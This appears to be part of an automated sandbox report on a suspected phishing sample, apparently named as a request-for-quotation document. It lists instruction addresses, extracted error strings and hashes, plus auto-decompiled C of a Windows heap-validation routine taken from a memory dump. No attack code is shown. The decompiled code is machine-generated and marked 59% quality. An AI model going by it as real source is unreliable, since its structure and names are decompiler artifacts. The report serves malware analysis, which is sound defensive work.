0x00a4ca39
0x00a8ac23
0x00a8ac23
0x00a8ac24
0x00a8ac25
0x00a8ac26
0x00a8ac34
0x00a8ac3c
0x00a4cc3c
0x00a4cc43
0x00a4cc65
0x00a4cc6c
0x00a8ac4c
0x00a8ac4c
0x00a4cc72
0x00a4cc79
0x00a8ac56
0x00a8ac5c
0x00a8ac5c
0x00a4cc7f
0x00a4cc87
0x00a8ac72
0x00a8ac72
0x00a4cc8d
0x00a4cc9f
0x00a4cc9f
0x00a4cc45
0x00a4cc51
0x00a4cc60
0x00000000
0x00a4cc60
0x00a4ca41
0x00a8ac20
0x00000000
0x00a4ca59
0x00a4ca5f
0x00000000
0x00000000
0x00a4ca65
0x00a4ca68
0x00a4ca76
0x00a4ca7c
0x00a4ca7e
0x00a4ca86
0x00a8a8ea
0x00a8a8f5
0x00a8a8fd
0x00000000
0x00a8a8fd
0x00a4ca90
0x00a8a90d
0x00a8a916
0x00a8a918
0x00a8a927
0x00a8a930
0x00a8a94c
0x00a8a94f
0x00a8a955
0x00a8a95b
0x00a8a98c
0x00a8a992
0x00a8a99a
0x00a8a9a9
0x00a8a9af
0x00a8a9c3
0x00a4cc09
0x00a4cc10
0x00a8ab03
0x00a8ab2f
0x00a8ab35
0x00a8ab3e
0x00a8ab5a
0x00a8ab40
0x00a8ab40
0x00a8ab4c
0x00a8ab52
0x00a8ab52
0x00a8ab5c
0x00a8ab63
0x00a8ab6a
0x00a8ab76
0x00a8ab78
0x00a8ab84
0x00a8ab86
0x00a8ab8d
0x00a8ab97
0x00a8ab98
0x00a8aba3
0x00a8abad
0x00a8abae
0x00a8abb3
0x00a8abb9
0x00a8abbd
0x00a8abc2
0x00a8abc6
0x00a8abc8
0x00a8abcb
0x00a8abdc
0x00a8abdc
0x00a8abc6
0x00a8abe3
0x00000000
0x00a8abe9
0x00a8abef
0x00a8abfc
0x00000000
0x00a8ac01
0x00a8abe3
0x00a8ab17
0x00a8ab1f
0x00000000
0x00a8ab1f
0x00a4cc16
0x00a4cc29
0x00a4cc2b
0x00a4cc30
0x00a4cc34
0x00a8ac13
0x00a4cc3a
0x00a4cc3a
0x00a4cc3a
0x00000000
0x00a4cc34
0x00a8a95e
0x00a8a965
0x00a8a96a
0x00a8a972
0x00a8a97e
0x00a8a984
0x00000000
0x00a8a984
0x00a8a974
0x00000000
0x00a8a974
0x00a8a932
0x00000000
0x00a8a932
0x00a8a91a
0x00000000
0x00a8a91a
0x00a4ca96
0x00a4ca9d
0x00a4caa7
0x00a4caae
0x00a4caba
0x00a4cac0
0x00a4cace
0x00a4cad4
0x00a4cae3
0x00a4cae9
0x00a4caf3
0x00a4caf9
0x00a4caff
0x00a4cb05
0x00a4cb11
0x00a8a9cb
0x00000000
0x00a8a9cb
0x00a4cb1e
0x00a8a9f8
0x00a8aa03
0x00a8aa07
0x00a8aa36
0x00a8aa47
0x00a8aa4b
0x00a8aa18
0x00a8aa19
0x00a8aa1a
0x00a8aa1f
0x00a8aa1f
0x00a8aa21
0x00a8aa23
0x00000000
0x00a8aa28
0x00a8aa4d
0x00000000
0x00a8aa4d
0x00a8aa09
0x00a8aa10
0x00a8aa11
0x00000000
0x00a8aa11
0x00a4cb24
0x00a4cb2a
0x00a4cb2c
0x00a4cb32
0x00a4cb38
0x00a4cb3e
0x00a4cb47
0x00a4cc01
0x00a4cc01
0x00a4cc03
0x00a4cc03
0x00a8aac0
0x00a8aac0
0x00a8aad1
0x00a8aad9
0x00000000
0x00a8aad9
0x00000000
0x00000000
0x00000000
0x00000000
0x00a4cb4d
0x00a4cb4d
0x00a4cb53
0x00a4cb5f
0x00a4cb6e
0x00a4cb74
0x00a4cb7e
0x00a4cb87
0x00a4cb93
0x00000000
0x00000000
0x00a4cba0
0x00a4cba7
0x00a8aa57
0x00000000
0x00000000
0x00a8aa59
0x00a8aa59
0x00a8aa5c
0x00a8aa5c
0x00a4cbb0
0x00a4cca2
0x00a4cca2
0x00a4cca5
0x00000000
0x00a4ccab
0x00a4ccab
0x00000000
0x00a4ccab
0x00a4cca5
0x00a4cbbd
0x00a8aa67
0x00a8aa6d
0x00a8aa72
0x00a8aa72
0x00a4cbe6
0x00a4cbf1
0x00a4cbf5
0x00a8aa84
0x00a8aa91
0x00a8aa98
0x00a8aaa9
0x00000000
0x00a8aaae
0x00a8aa86
0x00000000
0x00a4cbfb
0x00a4cbfb
0x00000000
0x00a4cbfb
0x00a4cbf5
0x00a8aab6
0x00000000
0x00a8aab6

Strings

SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 00A8ABF3
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 00A8AC0A
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 00A8A8EC
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 00A8AA11
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 00A8AAC8
RtlpResolveAssemblyStorageMapEntry, xrefs: 00A8AC27
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 00A8AAA0
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 00A8AC2C
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 00A8AA1A
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 00A8AB0E
@, xrefs: 00A8ABA3

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 0-4009184096
Opcode ID: 4e716f030bccc04b5ab4c2a12018917e3228286b792329f1908b8a7b60b50ff8
Instruction ID: 1d404fcacb48f57d8df2ee6b0762d79411e2737def6880fbaf2b5bde717fc7e4
Opcode Fuzzy Hash: 4e716f030bccc04b5ab4c2a12018917e3228286b792329f1908b8a7b60b50ff8
Instruction Fuzzy Hash: 77027FF5D012289BEB71DB14CD81BEAB7B8AB54714F4041DAE60DA7281EB309F84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4AEF, Relevance: 11.8, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E00AD4AEF(void* __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				void* _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				void* _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E00A1B150();
						} else {
							E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E00A1B150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E00ACFA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E00A1B150();
						} else {
							E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E00A1B150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E00A1B150();
									} else {
										E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E00A1B150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E00ACFA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E00A1B150();
										} else {
											E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E00A6D540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E00ADA80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E00A3E12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E00ADA80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E00A3E4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E00A3A229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E00A3A309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E00A3BC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E00AC23E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = L00A11F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x00ad4af7
0x00ad4afb
0x00ad4afd
0x00ad4b01
0x00ad4b03
0x00ad4b08
0x00ad4b0a
0x00ad4b0f
0x00ad4eb5
0x00ad4eb5
0x00ad4ebb
0x00ad50d5
0x00ad50d8
0x00ad4ff6
0x00000000
0x00ad4ff6
0x00ad50de
0x00ad50e4
0x00ad50e8
0x00ad5107
0x00ad510c
0x00ad50ea
0x00ad50ff
0x00ad5104
0x00ad5112
0x00ad5115
0x00ad5118
0x00ad5119
0x00ad50cb
0x00ad50cb
0x00ad50af
0x00000000
0x00ad50af
0x00ad4ecb
0x00ad50b6
0x00ad50bb
0x00ad4ed1
0x00ad4ee6
0x00ad4eeb
0x00ad50c1
0x00ad50c2
0x00ad50c5
0x00ad50c6
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad4b15
0x00ad4b15
0x00ad4b1c
0x00ad4b1e
0x00ad4b23
0x00ad4b27
0x00ad4b33
0x00ad4b38
0x00ad4b3a
0x00ad4b3c
0x00ad4b41
0x00ad4b41
0x00ad4b3a
0x00ad4b52
0x00ad5045
0x00ad504b
0x00ad504f
0x00ad506e
0x00ad5073
0x00ad5051
0x00ad5066
0x00ad506b
0x00ad5083
0x00ad5088
0x00ad5088
0x00ad508a
0x00ad5091
0x00ad5099
0x00ad5099
0x00ad509d
0x00ad50a7
0x00ad50ad
0x00ad50ad
0x00ad50ad
0x00000000
0x00ad509d
0x00ad4b58
0x00ad4b5b
0x00ad4b5e
0x00ad4b63
0x00ad4b66
0x00ad4b69
0x00ad4b6f
0x00ad4be4
0x00ad4bf0
0x00ad4bf2
0x00ad4bf5
0x00ad4dc3
0x00ad4dc6
0x00ad4dc9
0x00ad4dce
0x00ad4dce
0x00ad4dd0
0x00ad4dd0
0x00ad4dd5
0x00ad4def
0x00ad4dd7
0x00ad4de7
0x00ad4de7
0x00ad4df3
0x00ad5001
0x00ad5007
0x00ad500b
0x00ad502a
0x00ad502f
0x00ad500d
0x00ad5022
0x00ad5027
0x00ad5039
0x00ad503a
0x00ad503b
0x00000000
0x00ad4df9
0x00ad4dfd
0x00ad4e90
0x00ad4e94
0x00ad4e9e
0x00ad4ea4
0x00ad4ea4
0x00ad4ea4
0x00ad4ea6
0x00ad4ea6
0x00000000
0x00ad4ea6
0x00ad4e03
0x00ad4e08
0x00ad4f88
0x00ad4f92
0x00ad4f99
0x00ad4f9c
0x00ad4fe0
0x00ad4fe4
0x00ad4fee
0x00ad4ff4
0x00ad4ff4
0x00ad4ff4
0x00000000
0x00ad4fe4
0x00ad4f9e
0x00ad4fa4
0x00ad4fa8
0x00ad4fc7
0x00ad4fcc
0x00ad4faa
0x00ad4fbf
0x00ad4fc4
0x00ad4fd2
0x00ad4fd5
0x00ad4fd6
0x00ad4f34
0x00ad4f34
0x00000000
0x00ad4f39
0x00ad4e0e
0x00ad4e14
0x00ad4e1b
0x00ad4e25
0x00ad4e2b
0x00ad4e2b
0x00ad4e33
0x00ad4e38
0x00ad4e8a
0x00ad4e8a
0x00000000
0x00ad4e3a
0x00ad4e3e
0x00ad4e43
0x00ad4e47
0x00ad4e53
0x00ad4e58
0x00ad4e5a
0x00ad4e5c
0x00ad4e61
0x00ad4e61
0x00ad4e5a
0x00ad4e6e
0x00ad4f41
0x00ad4f47
0x00ad4f4b
0x00ad4f6a
0x00ad4f6f
0x00ad4f4d
0x00ad4f62
0x00ad4f67
0x00ad4f7f
0x00ad4f80
0x00ad4f81
0x00000000
0x00ad4e74
0x00ad4e78
0x00ad4e82
0x00ad4e88
0x00ad4e88
0x00000000
0x00ad4e78
0x00ad4e6e
0x00ad4e38
0x00ad4df3
0x00ad4bfe
0x00ad4c01
0x00ad4c04
0x00ad4c07
0x00ad4c09
0x00ad4c0c
0x00ad4c0e
0x00ad4c0e
0x00ad4c11
0x00ad4c11
0x00ad4c0c
0x00ad4c14
0x00ad4c17
0x00ad4dae
0x00ad4db2
0x00ad4db7
0x00ad4dba
0x00ad4dbd
0x00ad4ef1
0x00ad4ef7
0x00ad4efb
0x00ad4f1a
0x00ad4f1f
0x00ad4efd
0x00ad4f12
0x00ad4f17
0x00ad4f2b
0x00ad4f2b
0x00ad4f2d
0x00ad4f2e
0x00ad4f2f
0x00000000
0x00ad4f2f
0x00000000
0x00ad4c1d
0x00ad4c1d
0x00ad4c20
0x00ad4c23
0x00ad4c26
0x00ad4c29
0x00ad4c2c
0x00ad4c2e
0x00ad4d91
0x00ad4d91
0x00ad4d92
0x00ad4d97
0x00ad4d9e
0x00000000
0x00ad4d9e
0x00ad4c34
0x00ad4c37
0x00ad4c39
0x00ad4c3c
0x00000000
0x00000000
0x00ad4c45
0x00ad4c48
0x00ad4c4e
0x00ad4c50
0x00ad4c78
0x00ad4c78
0x00ad4c7b
0x00ad4c7d
0x00ad4c80
0x00ad4c84
0x00ad4cad
0x00ad4cad
0x00ad4cb0
0x00ad4cb8
0x00ad4cbb
0x00ad4cbe
0x00ad4cc1
0x00ad4cc7
0x00ad4cdc
0x00ad4cc9
0x00ad4cd2
0x00ad4cd4
0x00ad4cd4
0x00ad4cde
0x00ad4ce0
0x00ad4d13
0x00ad4d13
0x00ad4d16
0x00ad4d18
0x00ad4d29
0x00ad4d2a
0x00ad4d2c
0x00ad4d34
0x00ad4d1a
0x00ad4d1a
0x00ad4d1a
0x00ad4d1d
0x00ad4d1f
0x00ad4d22
0x00ad4d24
0x00ad4d24
0x00ad4d3c
0x00ad4d3f
0x00ad4d45
0x00ad4d47
0x00ad4d6c
0x00ad4d6c
0x00ad4d70
0x00ad4d7e
0x00ad4d84
0x00ad4d84
0x00000000
0x00ad4d49
0x00ad4d49
0x00ad4d56
0x00ad4d56
0x00ad4d59
0x00000000
0x00000000
0x00ad4d4e
0x00ad4d50
0x00ad4d52
0x00ad4d8e
0x00ad4d5d
0x00ad4d5f
0x00ad4d67
0x00000000
0x00ad4d67
0x00ad4d54
0x00ad4d54
0x00ad4d5b
0x00000000
0x00ad4d5b
0x00ad4ce2
0x00ad4ce2
0x00ad4ce5
0x00ad4ce5
0x00ad4ce7
0x00ad4cfb
0x00ad4ce9
0x00ad4ce9
0x00ad4cec
0x00ad4cef
0x00ad4cf1
0x00ad4cf3
0x00ad4cf3
0x00ad4cf3
0x00ad4cf6
0x00ad4cf6
0x00ad4d02
0x00ad4d05
0x00000000
0x00000000
0x00ad4d07
0x00ad4d0f
0x00ad4d11
0x00000000
0x00000000
0x00000000
0x00ad4d11
0x00000000
0x00ad4ce5
0x00ad4ce0
0x00ad4c8a
0x00ad4c8f
0x00ad4c91
0x00000000
0x00000000
0x00ad4c9d
0x00000000
0x00ad4c9d
0x00ad4c52
0x00ad4c5f
0x00ad4c5f
0x00ad4c62
0x00000000
0x00000000
0x00ad4c57
0x00ad4c59
0x00ad4c5b
0x00ad4caa
0x00ad4c66
0x00ad4c68
0x00ad4c70
0x00ad4c75
0x00000000
